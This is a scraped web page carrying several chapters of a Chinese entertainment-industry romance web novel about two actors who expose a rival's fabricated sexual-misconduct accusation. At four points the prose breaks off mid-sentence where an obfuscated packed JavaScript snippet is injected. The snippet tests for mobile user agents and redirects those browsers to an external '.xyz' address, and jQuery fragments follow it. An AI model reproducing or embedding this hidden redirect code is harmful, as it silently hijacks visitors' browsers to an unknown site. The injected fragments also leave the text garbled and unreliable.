这种充满硝烟味的开场白实在是太过耳熟，要是在五年前，最多三句话后他们就会抛弃一切理智开始争吵，直到精疲力竭后，有一方摔门而去。 但是五年过去了，人总要有点长进吧。 秦祁深深吸了口气，缓和了语气：“沈絮，我需要知道到底发生了什么，才能进行接下来的公关。” “哪里用我告诉你发生了什么，”沈絮面无表情，“我做了什么，你心里不是已经有答案了吗？” 去特么的长进。 秦祁忍无可忍，站起身一把揪住沈絮的领子，狠狠把他掀翻到沙发上。 “我心里的答案？！”秦祁指着房门怒道，“我心里的答案就是，你趁我不在的时候强迫别人来房间里——我们的房间！来跟你春宵一刻，就跟这几年里你在无数个传闻里做的一样！” “这些话听着舒服吗？”秦祁的声音低下来了，“沈絮，如果你永远这样什么都不说，那么所有人都会这么一直误会你。” “有什么好说的呢？” 沈絮却只是理了理衣领，站起身不看秦祁。 “如果你已经认定我做错，就不要再来问我。” 他径直出门去了。 ———— 沈絮很擅长冷暴力，这是秦祁早就知道的事情。 说来奇怪，明明天天花言巧语不离口的人是沈絮，但真到了该沟通的时候，他的嘴就跟上了锁一样，远不如秦祁的好使。 今天也是这样。 在房间里的争执以沈絮离去告终，这熟悉的流程和五年前并没有什么区别。 或许唯一的进步是这次没有人摔门。 而在那之后，沈絮看起来好像和平常没有什么区别。 活照干，话照说，甚至在晚饭后大家提议来点什么活跃下气氛的时候，他还抱着节目组不知道从哪弄来的吉他唱了首歌。 但秦祁知道，他在生气。 那不再与他对视的眼神，完美到疏离的笑容和少到近乎吝啬的对话就是证据。 就像这几年里，沈絮屡屡回避有秦祁的场合那样。 虽然沈絮做的很不着痕迹，但世界上哪有事情真能不露端倪？ 被发现只不过是时间问题罢了。 秦祁了解沈絮，所以只用一个对视就知道他不想搭理自己。 大众不懂沈絮，所以花了几年才反应过来，原来沈絮和秦祁已经相看两厌。 ———— 夜深了。 人群散去，热闹的保护伞就没有了。那股能杀人的尴尬再次浮现出来。 既然是出来露营，沈絮和秦祁当然是住同一顶帐篷。 此刻，有形的无形的目光都撤去，他们终于脱去所有伪装，坦诚相对。 沈絮半躺在帐篷里，看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796842|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在帐篷口吹风的秦祁，一阵心烦。 “不进来就把帘拉上，西北风喝的很爽吗非要拉着我一起？” 秦祁没动，说：“还是开着吧，要不然我怕你待会聊生气了暴起伤人我跑不掉。” 其实两人都知道这是胡诌，沈絮从来爱体面，这辈子能让他气到动手的事屈指可数。 所以沈絮也懒得接话。 他们又沉默了。 “你到底在气什么？”秦祁的声音很轻，“我发誓我没有挑衅，我真的只是想知道。吵架是最消磨感情的，我得知道我们为什么吵，下次才能不再犯……但你从来不说。有时候我觉得，或许你在惩罚我。” 秦祁看着沈絮，眼睛里早就没有了白天的冲动与焦急。 此刻，赤忱填满了他的眼眶，让他的眼神变得那样灼人。 沈絮第一次不敢与人对视。 他缩在被子下的手缓缓收紧，可那点痛感却不能转移他的注意力。 秦祁目光的存在感依旧那么强。 沈絮觉得他的耳朵好像失灵了，不然为什么只能听到心跳如擂鼓？ 他几次启唇，最后却都只是吞了下口水，什么声音也没发出来。 直到秦祁走了进来。 他停在沈絮身前，帮他挡住夜晚带着凉意的风。 秦祁说：“告诉我吧，阿絮，告诉我。” 沈絮的声音那样低，语气是从未有过的犹疑。 他说：“谁都可以质疑我对感情的忠诚，你不可以，秦祁。你是……” 你是唯一一个得到过我真心的人，你曾经离最真实的我那样近，有几个瞬间甚至超过了我自己，你最知道我是否忠诚。 沈絮说不下去了。 “哪怕现在只是做戏，”沈絮叹息，“我是个演员，我不会轻易出戏。” 沈絮会做到一切曾经热恋时做到的事，除了像当初那样爱秦祁。 这是秦祁从未设想过的角度。 “我没有质疑过这个，”秦祁斟酌着开口，“我当然知道那些传言都是无稽之谈，因为比起狗仔的摄像头，我更相信我的眼睛。我白天只是想要先解决问题，想要尽快了解真相。我从来没觉得你真的做了那些事……我认为哪怕只是这么想，对你都是一种侮辱。” “你真的没有相信那些传言吗？”沈絮看着他，面色似乎平静，“那为什么你找我的时候那么着急，发问的时候却这么犹豫？” “你在害怕听到什么？” 秦祁下意识的想反驳，话却堵在喉咙里出不去。 是啊，他在害怕什么？ 如果这五年里，他真的不曾相信那些舆论，那沈絮在他眼里就该还是那个，长得那样好看，又那么能招蜂引蝶的小少爷。 那个小少爷，会在言语上疯狂占他便宜，会偶尔故意让他捻酸吃醋，但却从来不会施舍给除秦祁以外的人一个眼神。 毕竟那时候，沈絮别说潜规则这种丑闻，就连绯闻都只有零星两个——绯闻的知名度甚至都不如秦祁家的猫。 如果秦祁刚刚说的字字属实，他有什么可害怕的？ 秦祁大可跳过询问，直接告诉沈絮，这个人好像要陷害你，我来帮你想办法。 ——原来时间真的是最残忍的刽子手，在它手下没有谁能完好如初。 8. 第 8 章 秦祁欲言又止几次，最终却还是沉默 秦祁低下了头，现在不敢对视的人变成了他。 “……‘对不起’这三个字是不是挺没用的？”秦祁苦笑了一下，“但我一时竟然想不出还能说什么了。” 沈絮扯了扯嘴角，叹息着摇头。 他恍然想起了重逢第一天，自己对秦祁的评价。 那时为了激怒秦祁，沈絮故意说他“毫无长进”。 其实怎么会呢。 虽然自分手后就不再见面，但娱乐圈就这么大，哪能真听不到对方的消息？ 秦祁是怎么从站在他背后的新人，靠自己一步步爬到现在这星光璀璨的位置的，沈絮其实都知道。 在很多个被刻意忽视瞬间，沈絮其实也在心底为秦祁感到喜悦。 只是沈絮心底也难免有几丝连他自己都没察觉到的遗憾。 ——遗憾那些美好的光阴竟与他无关。 “算了，”沈絮说，“你也没做错什么，是我感情用事。” “把帘子拉起来吧，我跟你讲讲下午到底是怎么回事。” “你白天最想问的其实是我事先知不知道林时要来吧？” 沈絮看着秦祁明显僵了一下的脸，偏过头乐了一下。 秦祁的唇张张合合，最后还是没说出来什么，只是把嘴撅得老高，像是恨不得在上面挂满油瓶。 “这有什么可心虚的，”沈絮睨了秦祁一眼，“这说明你了解我，你应该感到光荣。” 秦祁：？ “我确实知道林时会来我们的房间，只不过没想到他是冲着我来的。” 沈絮掏出手机戳了几下，然后把屏幕亮到秦祁面前。 上面显示的，赫然是冉星洲和沈絮的聊天记录。 两人甚至是今天早上才加上的好友，算算时间，正是秦祁他们下山采购的时候。 【冉星洲】：絮哥，有个事儿我得跟您讲一下。前天晚上您和祁哥不是在医院，就没提前来别墅这吗？结果我那天半夜两三点听见外面有动静，我有点担心，就拿手机从门缝伸出去录了一下，发现是有人在开你们的房门。 【冉星洲】：[视频]。 【冉星洲】：这人我看着怪像林时的，虽然也有可能是我看错了，但我想着总得跟您说一声。 【沈絮】：好，谢谢小洲。 【沈絮】：称呼“你”就行，不用这么客气。 【冉星洲】：不用谢的，絮哥。几年前你从林时那里救了颜莫一命，这之后我们一直都很感激，但可惜人微言轻，一直也没能报答。这次如果能帮上你，我们也很高兴。 秦祁点开视频看了下，虽然画面整体很昏暗，但因为距离够近，还是能比较清楚地认出来画面上鬼鬼祟祟的人是谁。 “百密一疏啊，”有了这个视频，秦祁顿时轻松不少，“林时可能也没想到，第二天一大早要录节目的情况下，居然还能有另一个人半夜两三点还不睡。” “高兴得太早了，”沈絮托着腮，眼中冷意渐显，“只抓一个小鬼哪里够？” 百密一疏的何止林时一个？ 如果不是先入为主地认为林时的目标是秦祁，沈絮也不会这么轻易地中套。 现在回想起来，沈絮都想感叹自己真是安稳太久了，以至于竟然被一个有些热度的cp迷了眼，满脑子都是些捻酸吃醋的俗套剧情。 他竟然忘了，娱乐圈这片名利场里，哪有什么真情。 被沈絮这么一说，秦祁也讪讪地端正了本来已经有些随意的坐姿。 确实，虽然已经明确了是林时搞鬼，但这件事的始末仍不清晰。 是谁给了林时他们房间的钥匙？ 为什么林时最后竟然是冲着沈絮来的？ 幕后的人最后究竟想干什么？ …… 秦祁想了想，掏出手机：“我给兰姐打个电话让她来跟节目组说。我们要查监控。” 沈絮挑了挑眉，知道秦祁说的“兰姐”是他的经纪人谢兰，一个很有本事的女人。 沈絮也没拒绝秦祁这个提议。当初谢兰能在这么短时间内谈下《恋爱实施攻略》，想来也跟节目组关系匪浅。 查监控这事，虽然沈絮绕几个弯也能办到，但既然有捷径，那傻子才不走。 挂断电话，秦祁算是暂时了却一桩心事，顿时轻松不少。 他的身体彻底放松下来，半靠在枕头上，眼睛亮晶晶地看着沈絮，脸上露出有些得瑟的张扬笑容。 脸上写满了“快夸我”。 然而沈絮似笑非笑地跟他对视，拖长了声音：“秦祁，你这个年纪，不适合扮可爱了。” 秦祁脸刷一下就黑了：“我哪个年纪啊？不是你说我年轻好看勾搭我的时候了？” 沈絮上身往后依靠，两手一摊：“那怎么了？没听过吗，没有人永远十八岁，但永远有人十八岁啊。” “……你有个正形没有！” 秦祁猛地一蹬睡袋，刺溜一下躺下去，狠狠地把后脑勺对准了沈絮，表示自己等不及要去会周公，闲杂人等可以跪安了。 ———— 节目结束后，微博上果然出现了有关于沈絮和林时的风言风语。 不过不想沈絮出事的，当然不止他自己和秦祁。这种程度的舆论，甚至都不用沈絮出手，节目组就开始压热度了。 所以几天过去，关于林时的一切谈论，热度依旧不温不火。 反而是秦祁和沈絮的cp，在热搜上大秀特秀，隐隐有当年盛况。 就连沉寂多年的“情深如许”超话，这几天的发帖量都呈指数级增长。 这可不符合有些人的预期。 果不其然，有人坐不住了。 【@林时：大家晚上好，很抱歉占用大家的时间，但有些事已经积攒在我心中太久，将我压迫得喘不过气来，让我不吐不快。 自我出道以来，我一直将自己的一切都付诸给了这个我曾无限憧憬的娱乐圈。或许我实力不足，有时会惹来许多嘲笑，但这些都无法令我气馁，因为娱乐圈一直是我梦中的桃源。但这段时间，一件让我始料未及的事却狠狠给了我一巴掌，让我先前的一腔热忱都成了笑话！ @沈絮，你凭什么？难道就因为你高高在上、功成名就，就可以对我们这些怀揣梦想的小人物做尽那些下流龌龊的事吗？！ 这些天，你的威胁在我耳边一直不停地打转。但我今天站出来，就是为了告诉你，我不在乎你后续会有什么打击报复！我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796843|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有我自己的底线和尊严，哪怕从今以后再也不能站在舞台上，我也无所畏惧，我只要一个公道！】 紧接着，林时的助理也跟着发博。 【@助理吴：在《恋爱实施攻略》录制过程中，@沈絮老师私下多次对小时进行潜规则暗示，甚至加以威胁，在节目录制第二天，甚至强迫小时去他的房间，龌龊至极。虽然我们咖位小，但这种事，我们决不妥协！】 这下，【沈絮潜规则】的词条终于如一些人所愿，飞速登上了热搜第一。 “还挺聪明的”，沈絮刷微博给自己刷笑了，“不然怎么不买【沈絮林时】这个词条的热搜？” “祖宗！”经纪人许谦快要被逼疯了，“还乐呢！也不看看你都被骂成什么样了！” 沈絮扬手接过许谦甩过来的平板，不紧不慢地开始翻看。 【有些人能不能去死，自己脏别拖别人下水我求求了。】 【这直接坐实了和秦祁是炒作了吧，不过真就这么急色，一个节目的时间都忍不了？】 【叫什么沈影帝啊，叫沈泰迪才算实至名归。】 【我可怜的小时，心疼死我了】 沈絮索然无味：“怎么还是那些词，没点新意……哦泰迪那个有点意思。” 他切出去看了眼，确认登的是许谦的小号后，戳回去给那条叫他“沈泰迪”的评论点了个赞。 许谦看起来马上要去世了。 沈絮看了眼许谦发青的脸色，终于大发慈悲地放下了平板。 “监控视频都剪好了？” 许谦：“早就剪好了，还以为林时那伙人节目一结束就会发微博买热搜呢，害得底下人没日没夜地加班。” 沈絮：“都辛苦了，给大家发点奖金吧……也给秦祁发个鸡腿，要监控的效率真高。” 许谦：“……秦祁这个，也在我的工作范围之内吗？？？” “行吧，我来。” 沈絮拿出自己的手机，却先点开了微博。 许谦还没反应过来，沈絮已经快速编辑好了微博，点击发送。 【@沈絮：@林时，宝贝，法庭见。】 “好了，”沈絮把手机一丢，“用公司号发声明去吧。” 许谦无语地瞪了他一会，转身让人把早就准备好的公关稿发出去了。 临走前，许谦突然想起来：“怎么，秦祁的鸡腿不给了？” 沈絮：…… “啧。” “别啧，公关还要人家配合呢。” 沈絮认命地点开了和秦祁的聊天框。 【沈絮】：转发公关微博。 【秦祁】：[图片]。 【沈絮】：转错了，工作室的！ 【秦祁】：[图片]。 【秦祁】：顺手的事。 于是，正在鸣不平的秦祁粉丝，突然就刷到了自家正主连着转发的两条微博。 【@秦祁：怎么不叫我宝贝？//@沈絮：@林时，宝贝，法庭见。】 【@秦祁：支持维权。//@沈絮工作室：对于沈絮“潜规则”谣言的一些回应：[图片]。】 沈絮看着屏幕笑笑，切到了监控视频的画面。 ——抓到你了，捣鬼的“家贼”。 9. 第 9 章 办公室内。 “你是不是吃饱了撑的？一天天尽给我找事！”经纪人对着林时拍桌怒骂，“脾气能不能改改？上次得罪了人被撤资源的事你难道忘了？” 林时这欺软怕硬的脾气也不是一天两天了，常在河边走哪有不湿鞋，一年前就是因为得罪了个有后台的，被雪藏了整整一年，直到今年才拿下个恋综飞行嘉宾的资源。 林时也不甘示弱：“我当然忘不了，不然我为什么要铤而走险干这一遭？” 如果不是那不得出头的一年，他的热度怎么会这样不温不火？ 如果没有那一年，或许顶流的位置还是不是秦祁的都犹未可知。 经纪人气笑了，恨不得把手里的资料摔到他脸上。 “我看你还是不长记性，”经纪人说，“你也知道这是险招？” “那可是沈絮，你有多想不开要去得罪他？” 林时依旧没有退让：“我既然敢这么做，当然是有十足的把握。哥，你也听过的，富贵险中求。” 经纪人咂摸了一下这个“十足的把握”——这么周全的计划，林时怎么从头到尾都没跟公司提过？ 经纪人深呼吸几下，急促的呼吸渐渐平复了。 林时抿着唇，跟经纪人对峙着，一言不发。 “你心里有数，是吧？” 经纪人沉默许久后，只开口道：“那就为自己的行为负责吧，你年纪也不小了。” 说完，不再看林时一眼，只挥手示意林时可以出去了。 林时一时竟有些无措。 今天来之前，他本来已经做好了要跟公司大闹一场的准备。但因为他有信心，认为这一局最后的赢家一定是自己，所以也有恃无恐。 只是没想到，经纪人居然就这么高高拿起，轻轻放下了。 这本来应该是一件值得高兴的事，这说明公司信任他，一旦这一局他赢了，日后的好资源都会纷至沓来…… 林时这么想着，不断在心里安慰自己。 可不知为何，他此刻依然有着挥之不去的心慌。 从办公室离开后，他回到了自己的车上，握着手机一言不发。 最后，林时终于下定决心，拨出了一个电话。 就当买自己一个心安，他这么想。 漫长的一段响铃声后，电话终于被接通了。 “什么事？” 那边传来的声音似乎有些不耐烦。 林时的呼吸顿了一下。 虽然已经通过好几次电话，但他这个声音还是时常让他误认。 ——这跟沈絮的声音实在是太像了。 电话那头“啧”了一声，林时连忙回过神来。 “关于潜规则，沈絮已经回应了，你看到了吧？” “废话，”那个声音说，“你到底想说什么？” “……不会有意外吧，你确定真的能让他翻不了身？” 那边彻底失去了耐心：“爱信不信，你现在反口也还来得及。” 说完，电话中就只剩一片忙音。 林时咬了咬唇——对方这个态度跟之前找上他时可谓是天差地别。 没关系的，林时安慰自己，这不正好证明了对面信心满满吗？ 一定会，万无一失的。 他一定会是最后的赢家。 ———— 沈絮点开了那段监控，想起这阵子一连串的事，一时间竟也难免百感交集。 其实说来也算冥冥之中自有因果。 谢兰第一次打电话给节目组说要查监控的时候，节目组倒是十分配合。 但双方到了现场后却一齐傻了眼——酒店的监控已经被删了。 而别墅里面的直播摄像头，当时因为要转移地点，已经提前关闭了。 然而正当事态陷入焦灼，公关们已经开始商讨仅凭冉星洲的视频能不能翻盘时，转机出现了。 林时的一个小助理找上了门。 对于林时欺软怕硬的本色，沈絮也不算一无所知。 毕竟他还亲手从林时那救下过颜莫 当时颜莫还岌岌无名，只能默默被林时挑刺，在大冷天里穿着一件单衣在雪地里反复拍一段被泼冷水的戏。 这种事林时其实没少干，因为这个，沈絮对他一直不太看得上眼。 只是没想到，原来林时对自己手底下的人也是一样的苛刻。 “工作的时候被无缘无故的打骂已经是日常了，”小助理坐在许谦的办公室里，手上捧着杯热水，眼神放空，“我是不能惹他生气的，不然他什么事都干得出来——高速公路上扔我下车，全剧组都走后把我扔在荒郊野岭……这种事太多了。” 小助理捏着水杯的手用力到发白，沈絮注意到她衣袖下隐隐露出的淤青。 “在那工作的这几年，我都不确定我还算不算一个人。我不管做什么都会被挑剔，我要是穿的随便了，他就会嫌我丢脸，大冷天也让我滚去屋子外面待一天。我稍微打扮一点来上班，就会被他问是打算去勾引谁，说我真是有够下贱……” “这不是挑剔，”沈絮轻轻打断了她，说，“这是侮辱。” 小助理嚅嗫了几下，向沈絮扯出一个有些僵硬的笑容，却在对视后又忍不住躲闪着低下头。 “……我觉得我可能是要疯了，我现在只想让这个人得到报应，不管要付出什么代价。”小助理掏出一个U盘递给沈絮，“我已经，很久没有睡过一个好觉了。” 沈絮接过U盘，推给许谦让他去核实监控。接着，他转回身来，很认真地注视着小助理。 “你不会付出任何代价的，”沈絮说，“如果你想，我可以帮你解决你和那边的合约，你接下来可以来鹭水工作。” 鹭水是沈絮自己的影视公司——此人经过几年磨砺，已经脱离了娱乐圈民工的身份，成为了万恶的资本家。 “如果你想把林时的恶行公之于众，鹭水的公关部也可以帮你起稿——在我的澄清视频发布后，你用自己的私号发这篇稿子，我想效果会更好。” 小助理沉默许久，说：“好的，谢谢。” 沈絮点头，确认监控视频没有问题后，起身送小助理离开。 最后，他替小助理拉开了门，轻声说：“晚安。” 想来，从今往后的夜晚，都会是好梦。 ———— 监控画面缓缓播放。 第一段监控时间显示是凌晨一点，节目组工作人员入住的酒店走廊上，突然出现了两个鬼鬼祟祟的人影。 其中一个“工作人员”从口袋里掏出了一把钥匙，叮嘱几句后递给了对面的人，然后转身离去。 接过钥匙的人虽然从身形来看很像林时，但因为他口罩帽子全副武装，监控硬是没拍到一个正脸。 还好还有冉星洲的录像。 至于监控里的另一个人是谁…… 在谢兰再次联系节目组后，节目组就在所有身材符合的工作人员里仔细排查了一遍，但最终一无所获。 眼看又要走入死胡同，副导演一拍脑袋，想起来些什么。 “那天是不是有资方的人过来来着？” “资方？”谢兰问。 “是，我们官宣了秦老师和沈老师以后，就有不少资方来联系我们，我们也没都回应，但有一家给的实在是太多了……” 谢兰皱眉：“哪一家？” “冬澄。” “冬澄……”沈絮结束了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796844|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回忆，颇有趣味地嚼弄着这两个字。 毕竟也不是什么小公司，冬澄这个名字还是很耳熟能详的。 但奇怪就奇怪在，冬澄不是影视公司——它是搞房地产的。 更有意思的是，冬澄的董事长，也姓沈。 世上哪有这么巧的事呢？沈董事长当然就是沈絮那每天出一轨，生性爱劈腿的父亲。 原来是“家贼”难防。 沈絮回想起上次母亲忌日时，那个男人一脸愧疚地说想要补偿自己，那时眼中的真诚与懊悔不似作伪。 那么这次，沈董事长在其中又扮演了一个怎样的角色呢？ 是被蒙蔽、被夹在中间两难的“老父亲”，还是终于醒悟跟大儿子之间的情分已无转圜之地，于是专心爱护小儿子的“慈父”？ 沈絮又回忆起上次在老宅自己说的话。 “恩怨不会结束在上一辈的，我们之间的账，早晚要一点点算。” 看来有人比沈絮还等不及。 ———— 鹭水的公关部还是很靠得住的。 沈絮的私号和工作室分别对林时做出了强硬的回应后，就暂时不再有什么动作。 同时，公司提前联系好的营销号也纷纷发文。 因为沈絮花名在外，公关也没选择一上来就说他是朵纯白的茉莉花——主要是说了也没人信。 目前的想法，就是先搅浑水，让大众对这件事的真实性产生怀疑。 只要舆论不一边倒，那么反击的时候就会顺利许多。 同时，粉丝们看到沈絮强硬的发言，顿时心安了不少，说话都硬气了不少。 【支持维权，有些人为了流量真是脸都不要了。】 【絮很久都没这么刚了吧，感觉真是被恶心坏了。】 【有些人真是听风就是雨，絮当时难道不是当着镜头说的要去洗澡吗，真要干点什么会这么明目张胆？】 【别的不说，当时离规定好的时间也就半小时吧，能干啥的？你养胃别以为所有人都养胃哈。】 林时的粉丝自然也不甘示弱，一时舆论简直乱成了一锅粥。 ——而有人居然在这锅粥旁边偷偷吃饭。 情深如许的cp粉们能熬过正主狠狠be的这五年，当然不是一般人。 她们在帮忙辟谣的同时，居然还能抽出空来磕一口糖。 【我真是服了秦祁这死小子……这种时候都要秀一波恩爱】 【《你怎么不叫我宝贝》】 一天过去，眼看舆论就要进入白热化，林时坐不住了。 【@林时：很遗憾我不是一个完美受害者，但我保证我所说的字字属实。如果你觉得事情另有隐情，请拿着证据来捶我。】 沈絮等的就是他这条微博。 沈影帝的冲浪速度可谓光速，林时刚一发博，他啪一下就点进去回复了。 甚至抢到了前排。 【@沈絮：如你所愿。】 同时，工作室的官方账号也再次发文。 【@沈絮工作室：对于近日@林时先生控诉的“潜规则”一事，我方第一时间进行了了解与调查。然而很快我们就愤怒的发现，这一切都只是林先生的自导自演。 在《恋爱实施攻略》录制前一天，林时先生就从一位“工作人员”手中拿到了沈絮房间的钥匙，同时在两个小时后进入过房间。在节目录制当天，在沈絮说了要去洗澡后，林先生意识到有机可乘，用这把提前得到的钥匙进入了房间，开始了他导演的一场大戏。 对于此事，我方已经报/警，我们将坚定维护艺人利益。[视频]。】 舆论再度哗然，风向瞬间逆转。 然而这只是一个开始。 10. 第 10 章 在沈絮发文的三小时后，一个自称是林时助理的人站出来发文，揭露了林时长年累月的职场霸凌。 在那条微博里，她贴出了多张就医证明与伤情鉴定报告，用最直接的方式体现出了林时在这几年里对她造成的伤害。 而她在后面放出的录音更是充满了污言秽语，不堪入耳。 她说，那次是半夜两点，她重感冒，睡得昏昏沉沉，没听到林时的电话。林时当即勃然大怒，向酒店要来她房间的房卡后就冲进来对着她破口大骂，责问她怎么敢如此不称职。 而当林时停止谩骂后，她询问自己需要做什么时，林时说—— “我忘了。” 她的博文全篇没有什么华丽的辞藻，甚至连情绪都不太激动，但字里行间都充斥着淡淡的悲痛与压抑。 在博文的最后，小助理写道—— “……或许有人会好奇，我这次站出来是想得到些什么。其实，我只是想要能睡一场好觉。” 【明明那么平淡，为什么看得我心好痛……】 【抱抱妹妹，终于脱离苦海了。】 【为什么这种人渣，能逍遥这么多年才被揭发？】 而这些年里林时迫害的人哪止三两个？ 很快，几个营销号在某些人的授意下“翻”出了一些陈年旧事。 那是几段早年间的视频。 视频里，面容尚有些稚嫩的的颜莫穿着一件湿透了的单衣，在寒风中瑟瑟发抖。 颜莫问：“不好意思，我可以先去喝杯热水吗？” 然而没有人理他 一群人正围在机器旁边看刚拍的片子，坐在最中间的是林时。 林时皱了皱眉：“我觉得还是不够好，再来一条吧。” 于是颜莫只能再次在雪地里奔跑、摔跤、被泼上满满一盆冷水。 这样的场景重复了很多次。 视频的最后，是一个由远及近的声音。 “够了。” 【每次当我以为这个人已经够恶毒了的时候，他总能再次刷新我的认知。】 【娱乐圈里小喽啰的命真的不是命啊……】 【最后那个声音是絮吗？难怪节目上小洲和小莫对他那么亲近，这跟救命之恩也没差多少了吧？】 一时间，墙倒众人推。 在连着多剂猛料的制裁下，虽然沈絮告林时侵犯名誉权的案子还没开庭，但舆论已经判了林时死刑。 ———— “这就是你说的万全？” 经纪人翻看着微博上的舆论，冷笑。 而此时的林时早没了上次嚣张的气焰，面色惨白，放在桌下的手指神经质地互掐着。 怎么会呢？不是说万无一失的吗？ 明明都删干净了，沈絮到底是怎么拿到的监控？ “……你在听没有？” 经纪人的怒声让林时猛地回神。 他连忙陪笑道：“哥，事情也还没严重到这个地步，你想沈絮那个名声，他的澄清除了粉丝也没什么人信的。我们再买点通稿，一定能……” 经纪人把手里的东西往桌上“啪”地一摔，吓得林时身体一震，话音戛然而止。 “谁在跟你聊这个？”经纪人逼视着林时，“还买通稿？有这个钱不如想想怎么赔违约金！” “……什么？” 经纪人从旁边抓起几份合同，一把甩到了林时身上。 “这几家已经找过来要跟你解约了，还要求你支付违约金，剩下几个估计也难保，你自己回去好好数数存款看赔完以后还能买几个通稿吧！” “不会的，不会的。” 林时愣了一会后，突然打了个寒颤，胡乱地翻动着合同。 等看清违约金的数额后，他的心脏都不跳了。 那根本不是他能承受得起的金额。 经纪人冷眼看了他一会，似乎是觉得自己对他已经仁至义尽，转头就要离开。 “哥！”林时连忙扑上去抓住他的胳膊，就像抓着一根救命稻草，“还不到这个地步，我们还可以再跟品牌方谈谈的，我们可以，可以……” 经纪人把他的手扒了下去，只留下一句：“这件事结束以后，你就在家里冷静一下吧。” “冷静一下”是冷静多久？ 林时不敢细想经纪人话语中的深意。 他想再次抓住经纪人询问，但经纪人已经快步离开了。 林时狼狈地跌回椅子上，像濒死的鱼一般喘息着。 不知过了多久，他猛地想起来什么，抓起手机再次拨打出了那个号码。 “您好，您拨打的电话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796845|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂时无法接通……” 林时不信邪，再次回拨。 两次，三次，四次…… 直到第五次，对面终于接起了电话。 “又有什么事？” 林时低吼：“你不是说万无一失的吗？现在又是怎么回事？” “怎么回事？”对面的声音一下尖利起来，“你还好意思问我？如果不是你自作聪明，沈絮怎么可能翻盘？” “你说什么？” “我说错了吗？难道不是你自己偷偷留了一份录像，想要来拿捏我吗？”对面嘲讽道，“你这个连自己手底下的人都管不好的废物。” 林时张口还想再说些什么，但此时电话那头的早已成为忙音。 再拨打的时候，号码已经成为了空号。 而发给经纪人的消息，也全都石沉大海， 至此，林时不得不正视一个事实—— 他已经被所有人放弃了。 ———— “所以说，事情结束了？” 秦祁斜靠在桌面上，单手托腮，侧身看着沈絮。 这厮另一只手居然还有空转笔，怎么不忙死他！ “差不多吧，”沈絮低头翻阅着合同，任秦祁在旁边把笔转成花，也不带给他一个眼神的，“各种违约金就够他赔的，他现在名声算是臭完了，后面再打打招呼的话……希望他转业顺利。” 秦祁点点头，体贴地开口：“沈老师，怎么一份合同要看这么久，是老花了吗？” 沈絮懒得搭理他，把最后几行看完，确认没有问题后，大笔一挥签下了自己的大名。 “情深几许”本来在第一期节目播出后就有再次爆火的势头，这次公关辟谣的时候，秦祁还一起卖了波大的。 一时之间，无数合约都吻了上来，希望能蹭到这一波热度。 双方公司精挑细选后，最后敲定了一个双人杂志的拍摄。 今天刚好两人都有空，就干脆约着一起来鹭水把合同签了。 等把两份合同一起递给杂志方后，杂志方笑得很灿烂。 “很高兴和两位老师合作。” 沈絮礼貌点头：“期待和你们的合作。” 说完，又转过头，对着秦祁微微一笑。 “秦老师好，很不高兴和您合作。” 11. 第 11 章 沈絮这话一出，杂志方都愣了一下，一时搞不清这两位是闹了矛盾还是单纯在调情。 但秦祁一脸淡定，全身上下不以为耻反以为荣的骄傲感。 此人挺胸点头：“我的荣幸。” 杂志方顿时露出了放心的表情。 沈絮：。 这厮五年来就修炼了嘴皮子是吧？ 等送走了杂志方后，秦祁百无聊赖地抱臂，开始打量起沈絮的办公室 “你没工作的吗？” 沈絮推门进来，看到这个阴魂不散的人，稍微受到了一点惊吓。 秦祁转过来：“有啊，这不是在等你下班吗？” 沈絮径直路过他：“现在没有镜头。” 所以有话直说。 秦祁摊了摊手，问：“你今晚不出差？” 明天就录第二期节目了他出什么差？ 沈絮：“出，十分钟后飞F国。” 秦祁：“……好的是哪家酒店呢，我明天过去接你。” 沈絮没回话，只是用一种“这人脑子是不是有什么隐疾”的眼神把秦祁从上到下打量了一遍。 看起来很关心秦祁的身体健康。 虽然沈絮什么都没说，但眼神已经充分表达了他的拒绝。 秦祁见状往前几步，凑到了沈絮身前，微微低下头，呼吸慢慢地打到沈絮脸上。 